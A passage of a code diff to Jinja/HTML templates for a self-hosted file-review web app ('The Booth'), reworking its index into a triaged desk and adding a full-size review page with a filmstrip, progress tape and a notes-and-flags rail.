is typing in — the same guard the image viewer carries, stated in both
|
||||
places because the handler is on `document` in both. */
|
||||
function isEditable(el) {
|
||||
return !!(el && (el.isContentEditable ||
|
||||
/^(input|textarea|select)$/i.test(el.tagName || '')));
|
||||
}
|
||||
var rv = document.getElementById('docreveal');
|
||||
if (rv) {
|
||||
rv.hidden = false;
|
||||
rv.addEventListener('click', function () {
|
||||
var on = document.getElementById('docbody').classList.toggle('revealed');
|
||||
rv.querySelector('.rv-glyph').textContent = on ? '🙈' : '👁';
|
||||
rv.querySelector('.rv-word').textContent = on ? 'hide' : 'reveal';
|
||||
rv.querySelector('.rv-note').hidden = on;
|
||||
});
|
||||
}
|
||||
document.addEventListener('keydown', function (e) {
|
||||
if (isEditable(e.target)) return;
|
||||
if (e.key === 'Escape') window.location.href = {{ ('/b/' ~ name_url ~ '/')|tojson }};
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
{% endblock %}
|
||||
|
||||
+157
-121
@@ -1,132 +1,167 @@
|
||||
{% extends "base.html" %}
|
||||
{% block content %}
|
||||
<form class="uploader" method="post" action="/upload" enctype="multipart/form-data">
|
||||
<label class="drop" for="booth-files">
|
||||
<span class="drop-icon">⬆</span>
|
||||
<span class="drop-main">Upload files for pickup</span>
|
||||
<span class="drop-sub" id="drop-sub">drop here, or click to choose · one pickup id, wiped in {{ ttl_hours }}h</span>
|
||||
<input id="booth-files" name="files" type="file" multiple>
|
||||
</label>
|
||||
<button class="up-go" type="submit">Get pickup id →</button>
|
||||
</form>
|
||||
{% from "_provenance.html" import provenance %}
|
||||
{% from "_lifetime.html" import lifetime %}
|
||||
{% from "_dates.html" import dates %}
|
||||
{# THE DESK (R2 C4). The index triaged by what needs the operator: needs you,
|
||||
then new since you looked, then everything else — always in that order, and
|
||||
the ORDER WITHIN each is decided in app.index, never here. A section with no
|
||||
booths renders nothing at all: no heading, no empty box (the negative half
|
||||
of the kept-lane pair this replaces). #}
|
||||
|
||||
{% if kept %}
|
||||
{# Kept boards render FIRST and look different on purpose: they are durable
|
||||
operator-facing things (the agent link board, standing reports) and the
|
||||
point of the lane is that they cannot be lost in a feed that turns over
|
||||
every day. No countdown — they have no expiry to advertise. #}
|
||||
<h2 class="lane-head">Kept <span class="lane-note">· no expiry · <code>{{ keep_marker }}</code></span></h2>
|
||||
<div class="grid kept-grid">
|
||||
{% for b in kept %}
|
||||
<article class="card card-kept">
|
||||
<a class="thumb" href="/b/{{ b.name_url }}/">
|
||||
{% if b.thumb_url %}
|
||||
{# A cover blurred inside the booth must be blurred here too, or the
|
||||
front page undoes the censoring the booth page applied. #}
|
||||
<img class="{{ 'blurred-thumb' if b.thumb_blurred }}" loading="lazy"
|
||||
src="/b/{{ b.name_url }}/{{ b.thumb_url }}" alt="">
|
||||
{% elif b.has_index %}
|
||||
<div class="ph">▦ page</div>
|
||||
{% elif b.kinds.video %}
|
||||
<div class="ph">▶ video</div>
|
||||
{% elif b.kinds.audio %}
|
||||
<div class="ph">♪ audio</div>
|
||||
{% else %}
|
||||
<div class="ph">◆ files</div>
|
||||
{% endif %}
|
||||
<span class="badge badge-kept">★ kept</span>
|
||||
</a>
|
||||
<div class="meta">
|
||||
<a class="name" href="/b/{{ b.name_url }}/">{{ b.name }}</a>
|
||||
<div class="sub">{{ b.count }} item{{ '' if b.count == 1 else 's' }} · kept · <a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a></div>
|
||||
</div>
|
||||
{# There IS a × here now (operator, 2026-09-21). The old rule was
|
||||
release-then-find-it-in-the-other-lane, on the theory that two
|
||||
deliberate acts protect durable boards. In practice it protects
|
||||
nothing and costs a hunt: the board you just released is loose in a
|
||||
feed that turns over, and you have to go find it to finish the job
|
||||
you had already decided on.
|
||||
|
||||
The protection now lives in the CONFIRMATION, not in the number of
|
||||
lanes you must traverse — this one names the booth and says the word
|
||||
KEPT, where the ephemeral × just asks. A deliberate act, one click,
|
||||
reachable.
|
||||
|
||||
Release still exists and is still the reversible option. Note it
|
||||
BUMPS the directory mtime, so the board's age resets and it survives
|
||||
another full TTL — unkeep-and-wait is a 24h delay, not a delete,
|
||||
which is exactly why a direct × was worth adding. #}
|
||||
{# ⚠ BOTH OF THESE WERE position:absolute ON THE SAME CORNER, and `release`
|
||||
is the later sibling, so it painted over the × completely: measured
|
||||
30x22 px of overlap on a 30px button, and elementFromPoint at the ×'s
|
||||
centre returned the release form. The × was unclickable from the day
|
||||
it shipped.
|
||||
|
||||
One flex row, positioned once, instead of two independently guessed
|
||||
offsets — so neither control can drift back on top of the other when
|
||||
a label changes width. #}
|
||||
<div class="kept-actions">
|
||||
<form class="release" method="post" action="/b/{{ b.name_url }}/unkeep"
|
||||
onsubmit="return confirm('Release \u201c{{ b.name }}\u201d?\n\nIt moves to the ephemeral lane so you can wipe it from there. Nothing is deleted by this step.')">
|
||||
<button title="release this board so it can be wiped">release</button>
|
||||
</form>
|
||||
<form class="wipe wipe-kept" method="post" action="/b/{{ b.name_url }}/delete"
|
||||
onsubmit="return confirm('WIPE the KEPT booth \u201c{{ b.name }}\u201d?\n\nThis deletes it and its files immediately. Kept booths are the ones nothing else will clean up, so nobody else is going to do this for you — and nothing brings it back.')">
|
||||
<button title="wipe this KEPT booth now" aria-label="wipe kept booth">×</button>
|
||||
</form>
|
||||
</div>
|
||||
</article>
|
||||
{# The first four images, the originals shown small. A blurred one stays
|
||||
blurred (`blurred-thumb`, the cover's rule). A booth with no images shows the
|
||||
kind placeholder the cards used to. #}
|
||||
{% macro preview(b) -%}
|
||||
<a class="desk-strip" href="/b/{{ b.name_url }}/" tabindex="-1" aria-hidden="true">
|
||||
{% if b.preview %}
|
||||
{% for url, blurred in b.preview %}
|
||||
<img class="{{ 'blurred-thumb' if blurred }}" loading="lazy" src="/b/{{ b.name_url }}/{{ url }}" alt="">
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% if booths %}<h2 class="lane-head">Ephemeral <span class="lane-note">· wiped {{ ttl_hours }}h after last activity</span></h2>{% endif %}
|
||||
{% endif %}
|
||||
|
||||
{% if not booths %}
|
||||
{% if not kept %}
|
||||
<div class="empty">
|
||||
No booths yet. Upload files above, or drop a folder into <code>{{ data_dir }}</code>.
|
||||
</div>
|
||||
{% elif b.has_index %}<span class="ph">▦ page</span>
|
||||
{% elif b.kinds.video %}<span class="ph">▶ video</span>
|
||||
{% elif b.kinds.audio %}<span class="ph">♪ audio</span>
|
||||
{% else %}<span class="ph">◆ files</span>
|
||||
{% endif %}
|
||||
{% else %}
|
||||
<div class="grid">
|
||||
{% for b in booths %}
|
||||
<article class="card">
|
||||
<a class="thumb" href="/b/{{ b.name_url }}/">
|
||||
{% if b.thumb_url %}
|
||||
<img class="{{ 'blurred-thumb' if b.thumb_blurred }}" loading="lazy"
|
||||
src="/b/{{ b.name_url }}/{{ b.thumb_url }}" alt="">
|
||||
{% elif b.has_index %}
|
||||
<div class="ph">▦ page</div>
|
||||
{% elif b.kinds.video %}
|
||||
<div class="ph">▶ video</div>
|
||||
{% elif b.kinds.audio %}
|
||||
<div class="ph">♪ audio</div>
|
||||
{% else %}
|
||||
<div class="ph">◆ files</div>
|
||||
{% endif %}
|
||||
{% if b.uploaded %}<span class="badge">⬆ pickup</span>{% endif %}
|
||||
{% if b.marks_open %}<span class="badge badge-mark">? {{ b.marks_open }} open</span>{% endif %}
|
||||
</a>
|
||||
{%- endmacro %}
|
||||
|
||||
{% macro row(b, section) -%}
|
||||
<article class="desk-row{% if section == 'needs' %} is-needs{% endif %}" data-booth="{{ b.name }}" data-kept="{{ '1' if b.kept else '0' }}">
|
||||
{{ preview(b) }}
|
||||
<div class="desk-main">
|
||||
{# The manifest title leads when there is one; the directory name stays
|
||||
beside it because it is what the URL says. #}
|
||||
<a class="desk-title" href="/b/{{ b.name_url }}/">
|
||||
{%- if b.manifest and not b.manifest.error and b.manifest.title and b.manifest.title != b.name -%}
|
||||
{{ b.manifest.title }} <span class="desk-slug">{{ b.name }}</span>
|
||||
{%- else -%}{{ b.name }}{%- endif -%}
|
||||
</a>
|
||||
<div class="meta">
|
||||
<a class="name" href="/b/{{ b.name_url }}/">{{ b.name }}</a>
|
||||
<div class="sub">{{ b.count }} item{{ '' if b.count == 1 else 's' }} · expires in {{ b.expires_in|dur }} · <a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a></div>
|
||||
{{ provenance(b.manifest) }}
|
||||
{# Facts only: counts and dates. The lifetime is state (the pill) and
|
||||
the controls are actions (the cluster); neither lives here. #}
|
||||
<div class="desk-facts">
|
||||
{{ b.count }} item{{ '' if b.count == 1 else 's' }}
|
||||
{%- if b.flags %} · <span class="desk-flags">{{ b.flags }} flagged</span>{% endif %}
|
||||
{{- dates(b.created_at, b.landed_at, now) }}
|
||||
</div>
|
||||
{# Promote to the kept lane. The /keep route and the `booth keep` CLI verb
|
||||
both predate this button; until 2026-09-19 the UI could only RELEASE a
|
||||
kept booth, never keep an ephemeral one, so the round trip was only
|
||||
closed if you had a shell. Reversible, so no confirmation — the × next
|
||||
to it is the destructive one and keeps its prompt. #}
|
||||
<form class="keepit" method="post" action="/b/{{ b.name_url }}/keep">
|
||||
<button title="keep — exempt from the {{ ttl_hours }}h sweep" aria-label="keep booth">★</button>
|
||||
</form>
|
||||
</div>
|
||||
{# The right column: badges, then the LIFETIME PILL, always visible — state,
|
||||
not a control, so it stays when the controls hide, and down the Desk it
|
||||
reads as one column of kept / held / counting (operator: "make it
|
||||
obvious which are kept and which are ephemeral"). #}
|
||||
<div class="desk-side">
|
||||
{% if b.marks_open %}<span class="badge badge-mark">? {{ b.marks_open }} open</span>
|
||||
{% elif b.hold == "unreadable" %}<span class="badge badge-broken">marks unreadable</span>
|
||||
{% elif section == 'new' %}<span class="badge badge-new">new</span>{% endif %}
|
||||
{% if b.uploaded %}<span class="badge">⬆ pickup</span>{% endif %}
|
||||
{# r2b D2b: a fogged strip says why. Information, not the control. #}
|
||||
{% if b.booth_blurred %}<span class="badge badge-blur" title="the whole booth is blurred — cosmetic only">◉ blurred</span>{% endif %}
|
||||
<span class="life {{ 'life-kept' if b.kept else ('life-held' if b.hold in ('open', 'unreadable') else 'life-count') }}">{{ lifetime(b.kept, b.hold, b.expires_in) }}</span>
|
||||
</div>
|
||||
{# The row's controls, LAST in the markup so the booth's name comes first
|
||||
in tab order (heid bug-hunt: wipe used to be reachable before the booth
|
||||
it acts on). Where a real hover exists they float over the strip's
|
||||
top-right corner — covering pictures, never information — and appear
|
||||
only on hover or keyboard focus (operator: "download, keep and release
|
||||
buttons only appear on mouseover"; x hides too, his answer). Anywhere
|
||||
else they are the row's last line, visible: hover-only would mean no
|
||||
controls at all on touch. Order: zip, keep or release, then wipe set
|
||||
apart — zip out of the middle (operator), release still next to x. #}
|
||||
<div class="desk-acts">
|
||||
<a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a>
|
||||
{%- if b.kept %}
|
||||
<form class="release" method="post" action="/b/{{ b.name_url }}/unkeep"
|
||||
data-booth="{{ b.name }}" data-confirm="release"><button title="release this booth so it can be wiped">release</button></form>
|
||||
<form class="wipe wipe-kept" method="post" action="/b/{{ b.name_url }}/delete"
|
||||
data-booth="{{ b.name }}" data-confirm="wipe-kept"><button title="wipe this KEPT booth now" aria-label="wipe the kept booth {{ b.name }}">× wipe</button></form>
|
||||
{%- else %}
|
||||
<form class="keepit" method="post" action="/b/{{ b.name_url }}/keep"><button title="keep — exempt from the {{ ttl_hours }}h sweep" aria-label="keep booth">★ keep</button></form>
|
||||
<form class="wipe" method="post" action="/b/{{ b.name_url }}/delete"
|
||||
onsubmit="return confirm('Wipe booth “{{ b.name }}”?')">
|
||||
<button title="wipe now" aria-label="wipe booth">×</button>
|
||||
</form>
|
||||
</article>
|
||||
{% endfor %}
|
||||
data-booth="{{ b.name }}" data-confirm="wipe"><button title="wipe now" aria-label="wipe the booth {{ b.name }}">× wipe</button></form>
|
||||
{%- endif %}
|
||||
</div>
|
||||
</article>
|
||||
{%- endmacro %}
|
||||
|
||||
{% block content %}
|
||||
<h1 class="sr-only">Desk</h1>
|
||||
<div class="desk">
|
||||
<div class="desk-list">
|
||||
{% if needs %}
|
||||
<section class="desk-sec" data-section="needs">
|
||||
<h2 class="desk-head desk-head-needs">Needs you <span class="desk-rule">oldest question first</span></h2>
|
||||
{% for b in needs %}{{ row(b, 'needs') }}{% endfor %}
|
||||
</section>
|
||||
{% endif %}
|
||||
{% if new %}
|
||||
<section class="desk-sec" data-section="new">
|
||||
<h2 class="desk-head desk-head-new">New since you looked <span class="desk-rule">newest first</span></h2>
|
||||
{% for b in new %}{{ row(b, 'new') }}{% endfor %}
|
||||
</section>
|
||||
{% endif %}
|
||||
{% if rest %}
|
||||
<section class="desk-sec" data-section="rest">
|
||||
<h2 class="desk-head">Everything else <span class="desk-rule">last updated first</span></h2>
|
||||
{% for b in rest %}{{ row(b, 'rest') }}{% endfor %}
|
||||
</section>
|
||||
{% endif %}
|
||||
{% if not needs and not new and not rest %}
|
||||
<div class="empty">
|
||||
No booths yet. Drop a folder into <code>{{ data_dir }}</code>, or upload files for pickup.
|
||||
</div>
|
||||
{% endif %}
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<aside class="desk-aside">
|
||||
{# Benches: running things. DAMAGED AND ABSENT MUST NOT RENDER THE SAME —
|
||||
an unreadable registry says so; an empty one renders no panel. #}
|
||||
{% if benches_error %}
|
||||
<section class="desk-panel" data-panel="benches">
|
||||
<h2 class="desk-panel-head">Benches</h2>
|
||||
<div class="bench-err">the bench registry could not be read: {{ benches_error }}</div>
|
||||
</section>
|
||||
{% elif benches %}
|
||||
<section class="desk-panel" data-panel="benches">
|
||||
<h2 class="desk-panel-head">Benches <span class="desk-rule">running things</span></h2>
|
||||
{% for b in benches %}
|
||||
{# Agent-written URLs: only http(s) becomes a link. Autoescape stops markup,
|
||||
not a `javascript:` scheme, so anything else renders as plain text. #}
|
||||
{% set web = b.url.lower().startswith(('http://', 'https://')) %}
|
||||
<{{ 'a' if web else 'div' }} class="desk-bench is-{{ b.state }}"{% if web %} href="{{ b.url }}" target="_blank" rel="noopener"{% endif %}>
|
||||
<span class="desk-bench-dot" aria-hidden="true"></span>
|
||||
<span class="desk-bench-main"><span class="desk-bench-name">{{ b.name or b.url }}</span>
|
||||
<span class="desk-bench-sub">{% if b.owner %}{{ b.owner }} · {% endif %}{{ b.state }}</span></span>
|
||||
</{{ 'a' if web else 'div' }}>
|
||||
{% endfor %}
|
||||
</section>
|
||||
{% endif %}
|
||||
|
||||
{% if bookmarks %}
|
||||
<section class="desk-panel" data-panel="bookmarks">
|
||||
<h2 class="desk-panel-head">Bookmarks <span class="desk-rule">pinned first</span></h2>
|
||||
{% for e in bookmarks %}
|
||||
{% set web = e.url.lower().startswith(('http://', 'https://')) %}
|
||||
<{{ 'a' if web else 'div' }} class="desk-mark{% if e.pinned %} is-pinned{% endif %}"{% if web %} href="{{ e.url }}" target="_blank" rel="noopener"{% endif %}>
|
||||
{{ e.desc }}{% if e.who %}<span class="desk-bench-sub">{{ e.who }}</span>{% endif %}</{{ 'a' if web else 'div' }}>
|
||||
{% endfor %}
|
||||
<a class="desk-more" href="{{ board_url }}">all {{ bookmarks_total }} on the board →</a>
|
||||
</section>
|
||||
{% endif %}
|
||||
|
||||
<section class="desk-panel" data-panel="pickup">
|
||||
<h2 class="desk-panel-head">Pickup</h2>
|
||||
<form class="uploader" method="post" action="/upload" enctype="multipart/form-data">
|
||||
<label class="drop" for="booth-files">
|
||||
<span class="drop-icon">⬆</span>
|
||||
<span class="drop-main">Upload files for pickup</span>
|
||||
<span class="drop-sub" id="drop-sub">drop here, or click · wiped in {{ ttl_hours }}h</span>
|
||||
<input id="booth-files" name="files" type="file" multiple>
|
||||
</label>
|
||||
<button class="up-go" type="submit">Get pickup id →</button>
|
||||
</form>
|
||||
</section>
|
||||
</aside>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
/* progressive enhancement: reflect chosen files + drag-drop onto the panel.
|
||||
@@ -157,5 +192,6 @@
|
||||
}
|
||||
});
|
||||
})();
|
||||
|
||||
</script>
|
||||
{% endblock %}
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
{% extends "base.html" %}
|
||||
{% from "_lifetime.html" import lifetime %}
|
||||
{% block title %}{{ name }} · marks · The Booth{% endblock %}
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
|
||||
{% block content %}
|
||||
{# The marks page for a booth whose own index.html is served VERBATIM. That page
|
||||
cannot render the panel inline (it is returned untouched by design), so the
|
||||
@@ -11,12 +13,16 @@
|
||||
{# `marks_open` comes from open_marks() — the ONE openness predicate (INV-2).
|
||||
This used to re-derive it in Jinja as `selectattr('answer', 'none')`, which
|
||||
read a half-answered pick as closed. #}
|
||||
<span class="sub">{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ marks|length }} mark{{ '' if marks|length == 1 else 's' }}</span>
|
||||
<span class="region-wrap" data-region="booth-status"><span class="sub">{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ marks|length }} mark{{ '' if marks|length == 1 else 's' }} · {{ lifetime(kept, hold, expires_in) }}</span></span>
|
||||
</div>
|
||||
{# One region around both branches, so answering the last mark away swaps in
|
||||
the empty state instead of reading as a structural change. #}
|
||||
<div class="marks-panel" data-region="marks-panel">
|
||||
{% if marks %}
|
||||
{% include "_marks.html" %}
|
||||
{% else %}
|
||||
<div class="empty">This booth has no marks.</div>
|
||||
{% include "_marks.html" %}
|
||||
{% endif %}
|
||||
</div>
|
||||
{% endblock %}
|
||||
|
||||
+273
-80
@@ -1,108 +1,301 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}{{ file }} · {{ name }} · The Booth{% endblock %}
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
|
||||
{% block body_attrs %} class="page-stage"{% endblock %}
|
||||
{# THE REVIEW (R2 C6). One media item at full size — image, video or audio —
|
||||
with the judgment on screen beside it, the whole set as a filmstrip below and
|
||||
the tape above. Docs keep doc.html. Everything a mark can change is a
|
||||
`data-region` the in-place script swaps (the rail, the filmstrip, the tape);
|
||||
THE STAGE NEVER IS — swapping it would restart a playing track. #}
|
||||
{% macro num(n) -%}#{{ "%0*d"|format(ord_width, n) }}{%- endmacro %}
|
||||
{% block content %}
|
||||
<div class="viewer">
|
||||
<h1 class="sr-only">{{ file }}</h1>
|
||||
<div class="viewer review">
|
||||
<div class="vbar">
|
||||
<a class="vbtn vx" href="/b/{{ name_url }}/" title="back to gallery (Esc)">✕</a>
|
||||
<span class="vname">{{ file }}</span>
|
||||
<a class="vbtn vx" href="{{ back_url }}" title="back to the grid (Esc)" aria-label="back to the grid">✕</a>
|
||||
<span class="vname"><span class="ord">{{ num(ordinal) }}</span> {{ file }}</span>
|
||||
<span class="vspacer"></span>
|
||||
<span class="vtoggle" id="vtoggle" style="display:none">
|
||||
<button type="button" class="vseg on" id="btn-fit">Fit</button><button type="button" class="vseg" id="btn-one">1:1</button>
|
||||
{# R3: this item against the next one in the ring, side by side (C). #}
|
||||
{% if compare_url %}<a class="vbtn vcompare" href="{{ compare_url }}" title="compare with the next item (C)"><span aria-hidden="true">⇆</span><span class="vcompare-l"> compare</span></a>{% endif %}
|
||||
{% if kind == 'image' %}
|
||||
{# A JS-only VIEWING convenience (INV-3): hidden until the script shows it,
|
||||
and only ever rendered for a picture. With scripts off the image shows at
|
||||
fit size and no judgment depends on this. #}
|
||||
<span class="vtoggle" id="vtoggle" hidden>
|
||||
<button type="button" class="vseg on" id="btn-fit" aria-pressed="true" title="the whole picture, as large as the stage allows">Fit</button><button type="button" class="vseg" id="btn-one" aria-pressed="false" aria-label="1:1, natural pixels" title="natural pixels — drag to pan a large picture">1:1</button>
|
||||
</span>
|
||||
<a class="vbtn" href="{{ file_url }}" download title="download {{ file }}">⬇</a>
|
||||
{% endif %}
|
||||
{# r2b D2b + D2, in the top bar: outside every data-region, so no swap
|
||||
replaces them. The fog form carries `back` and lands on this item. #}
|
||||
<span class="region-wrap" data-region="blur-booth"><form class="blur-all{% if booth_blurred %} is-on{% endif %}" method="post" action="/b/{{ name_url }}/blurbooth">
|
||||
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
|
||||
<input type="hidden" name="back" value="{{ file }}">
|
||||
<button title="{{ 'un-blur the whole booth' if booth_blurred else 'blur every image and video in this booth — cosmetic only' }}">{{ '◉ booth blurred' if booth_blurred else '◌ blur booth' }}</button>
|
||||
</form></span>
|
||||
{% if film | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label"><span class="ra-glyph" aria-hidden="true">👁</span> <span class="ra-word">reveal all</span></span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
|
||||
<a class="vbtn" href="{{ file_url }}" download title="download {{ file }}" aria-label="download {{ file }}">⬇</a>
|
||||
</div>
|
||||
{% if prev_url %}<a class="vnav vprev" href="?f={{ prev_url }}" title="previous (←)" aria-label="previous image">‹</a>{% endif %}
|
||||
{% if next_url %}<a class="vnav vnext" href="?f={{ next_url }}" title="next (→)" aria-label="next image">›</a>{% endif %}
|
||||
<div class="vstage fit" id="vstage"><img id="vimg" src="{{ file_url }}" alt="{{ file }}"></div>
|
||||
{# THE ANNOTATION, at full size. It was never rendered here before U1 — not
|
||||
because the template dropped it, but because the route never resolved it.
|
||||
A caption is most useful at the size where you are actually judging the
|
||||
thing, so it belongs here at least as much as in the grid. #}
|
||||
{% if caption %}<div class="vcap">{{ caption }}</div>{% endif %}
|
||||
{# INV-3: the JUDGMENT travels to full size too, not just the caption. This is
|
||||
the size at which the operator is actually deciding, so the flag toggle and
|
||||
the notes belong here at least as much as on the tile. #}
|
||||
<div class="vmarks">
|
||||
<form class="vflag" method="post" action="/b/{{ name_url }}/flag">
|
||||
<input type="hidden" name="target" value="{{ file }}">
|
||||
<input type="hidden" name="on" value="{{ '0' if flagged else '1' }}">
|
||||
<button class="vbtn{% if flagged %} is-flagged{% endif %}"
|
||||
title="{{ 'un-flag this item' if flagged else 'flag this one' }}"
|
||||
>{{ '✔ flagged' if flagged else '○ flag' }}</button>
|
||||
</form>
|
||||
{% for m in marks if m.shape == 'note' %}
|
||||
<div class="vnote"><pre>{{ m.text }}</pre>
|
||||
<form method="post" action="/b/{{ name_url }}/unmark">
|
||||
<input type="hidden" name="mark" value="{{ m.id }}">
|
||||
<button class="mark-x" title="withdraw this note">×</button>
|
||||
|
||||
{# THE TAPE (B's device): one segment per item in the review ring — seen,
|
||||
flagged, current — so how far through the set you are is always in view. #}
|
||||
<div class="tape" data-region="tape" role="img" aria-label="{{ seen_n }} of {{ ring_m }} seen">
|
||||
<div class="tape-segs">
|
||||
{% for x in film %}
|
||||
<a class="tape-s{% if x.current %} is-current{% elif x.flagged %} is-flagged{% elif x.seen %} is-seen{% endif %}"
|
||||
href="?f={{ x.url }}" title="{{ num(x.ordinal) }} {{ x.name }}" tabindex="-1" aria-hidden="true"></a>
|
||||
{% endfor %}
|
||||
</div>
|
||||
<span class="tape-count">{{ seen_n }} of {{ ring_m }} seen</span>
|
||||
</div>
|
||||
|
||||
<div class="review-body">
|
||||
{% if prev_url %}<a class="vnav vprev" href="?f={{ prev_url }}" title="previous (←)" aria-label="previous">‹</a>{% endif %}
|
||||
<div class="vstage{% if kind == 'image' %} is-img{% endif %}{% if blurred %} is-blurred{% endif %}" id="vstage">
|
||||
{% if kind == 'image' %}<img id="vimg" src="{{ file_url }}" alt="{{ file }}" draggable="false">
|
||||
{% elif kind == 'video' %}<video id="vmedia" controls preload="metadata" src="{{ file_url }}"></video>
|
||||
{% else %}<audio id="vmedia" controls preload="metadata" src="{{ file_url }}"></audio>
|
||||
{% endif %}
|
||||
</div>
|
||||
{# The stage's reveal sits OVER the stage, outside its scrolled content
|
||||
(r2c): in 1:1 a panned picture would otherwise carry it out of view, and
|
||||
outside the stage it can never start a pan. #}
|
||||
{# JS-only, so `hidden` until the script binds it (heid bug-hunt: shown with
|
||||
scripts off, it did nothing) — the toggle's own pattern. #}
|
||||
{# as S5c (G17): the name is the words on it; the glyph is hidden and the
|
||||
file rides as .sr-only text ("reveal a.png — blur is cosmetic", then
|
||||
"hide a.png"). The script flips the spans, never the whole text. #}
|
||||
{% if blurred %}<button type="button" class="reveal" id="vreveal" hidden><span class="rv-glyph" aria-hidden="true">👁</span> <span class="rv-word">reveal</span><span class="sr-only"> {{ file }}</span><span class="rv-note"> — blur is cosmetic</span></button>{% endif %}
|
||||
{% if next_url %}<a class="vnav vnext" href="?f={{ next_url }}" title="next (→)" aria-label="next">›</a>{% endif %}
|
||||
|
||||
<aside class="vrail" id="rail" data-region="rail" aria-label="your judgment">
|
||||
<div class="vr-sec">
|
||||
<div class="vr-where"><span class="ord">{{ num(ordinal) }}</span> · {{ ring_k }} of {{ ring_m }}
|
||||
{%- if group %} · {{ group.k }} of {{ group.n }} in {{ group.key }}{% endif %}</div>
|
||||
{# THE ANNOTATION, at full size — the size where it is most readable. #}
|
||||
{% if caption %}<div class="vcap">{{ caption }}</div>{% endif %}
|
||||
</div>
|
||||
|
||||
<div class="vr-sec vr-judge">
|
||||
<form class="vflag" method="post" action="/b/{{ name_url }}/flag" data-inplace>
|
||||
<input type="hidden" name="target" value="{{ file }}">
|
||||
<input type="hidden" name="on" value="{{ '0' if flagged else '1' }}">
|
||||
<input type="hidden" name="back" value="view">
|
||||
<input type="hidden" name="f" value="{{ file }}">
|
||||
<button class="vbtn vflag-btn{% if flagged %} is-flagged{% endif %}" id="vflag-btn"
|
||||
title="{{ 'un-flag this item' if flagged else 'flag this one' }} (F)"
|
||||
>{{ '✔ flagged' if flagged else '○ flag' }} <kbd>F</kbd></button>
|
||||
</form>
|
||||
{% for m in marks if m.shape == 'note' %}
|
||||
<div class="vnote"><pre>{{ m.text }}</pre>
|
||||
<form method="post" action="/b/{{ name_url }}/unmark" data-inplace>
|
||||
<input type="hidden" name="mark" value="{{ m.id }}">
|
||||
<input type="hidden" name="back" value="view">
|
||||
<input type="hidden" name="f" value="{{ file }}">
|
||||
<button class="mark-x" title="withdraw this note" aria-label="withdraw this note">×</button>
|
||||
</form>
|
||||
</div>
|
||||
{% endfor %}
|
||||
<form class="vaddnote" method="post" action="/b/{{ name_url }}/note" data-inplace>
|
||||
<input type="hidden" name="target" value="{{ file }}">
|
||||
<input type="hidden" name="back" value="view">
|
||||
<input type="hidden" name="f" value="{{ file }}">
|
||||
<textarea name="text" id="vnote-text" rows="2" aria-label="a note on this item" placeholder="a note on this item (N)"></textarea>
|
||||
<button type="submit">Add note</button>
|
||||
</form>
|
||||
</div>
|
||||
{% endfor %}
|
||||
<form class="vaddnote" method="post" action="/b/{{ name_url }}/note">
|
||||
<input type="hidden" name="target" value="{{ file }}">
|
||||
<textarea name="text" rows="2" placeholder="a note on this item"></textarea>
|
||||
<button type="submit">Add note</button>
|
||||
</form>
|
||||
|
||||
{# A question ABOUT this item is answerable here. #}
|
||||
{% if item_picks %}
|
||||
<div class="vr-sec">
|
||||
{% with marks=item_picks, picks_only=true, back_view=file, marks_page=false %}{% include "_marks.html" %}{% endwith %}
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
{% if is_last %}
|
||||
{# THE END OF THE SET — not a separate page: on the last item the rail
|
||||
adds the summary and every question still open on the booth. #}
|
||||
<div class="vr-sec vr-end">
|
||||
<p class="vr-end-head">End of the set · {{ seen_n }} of {{ ring_m }} seen · {{ tray|length }} flagged</p>
|
||||
{% if tray %}
|
||||
<div class="tray">
|
||||
{% for x in tray %}
|
||||
<a class="tray-item{% if x.blurred %} is-blurred{% endif %}" href="?f={{ x.url }}" title="{{ x.name }}">
|
||||
<span class="sr-only">{{ x.name }}</span>{%- if x.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ x.thumb or x.url }}" alt="">{% else %}<span class="tray-kind">{{ x.kind }}</span>{% endif -%}
|
||||
<span class="tray-ord">{{ num(x.ordinal) }}</span></a>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
{% if other_picks %}
|
||||
{% with marks=other_picks, picks_only=true, back_view=file, marks_page=false %}{% include "_marks.html" %}{% endwith %}
|
||||
{% endif %}
|
||||
</div>
|
||||
{% elif other_picks %}
|
||||
<div class="vr-sec vr-more">
|
||||
<a href="/b/{{ name_url }}/">{{ other_picks|length }} more open question{{ '' if other_picks|length == 1 else 's' }} on this booth →</a>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<div class="vr-keys"><kbd>←</kbd> <kbd>→</kbd> <kbd>Space</kbd> move · <kbd>F</kbd> flag · <kbd>N</kbd> note · <kbd>C</kbd> compare · <kbd>Esc</kbd> grid</div>
|
||||
</aside>
|
||||
</div>
|
||||
|
||||
{# THE FILMSTRIP: the review ring in set order, numbered like the tiles,
|
||||
flagged frames underlined, the current one in the reticle. #}
|
||||
<nav class="film" data-region="film" aria-label="the set">
|
||||
{% for x in film %}
|
||||
<a class="film-f{% if x.flagged %} is-flagged{% endif %}{% if x.current %} is-current{% endif %}{% if x.blurred %} is-blurred{% endif %}"
|
||||
href="?f={{ x.url }}" title="{{ x.name }}"{% if x.current %} aria-current="true"{% endif %}>
|
||||
<span class="sr-only">{{ x.name }}</span>{%- if x.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ x.thumb or x.url }}" alt="">{% else %}<span class="film-kind">{{ '♪' if x.kind == 'audio' else '▶' }}</span>{% endif -%}
|
||||
<span class="film-ord">{{ num(x.ordinal) }}</span></a>
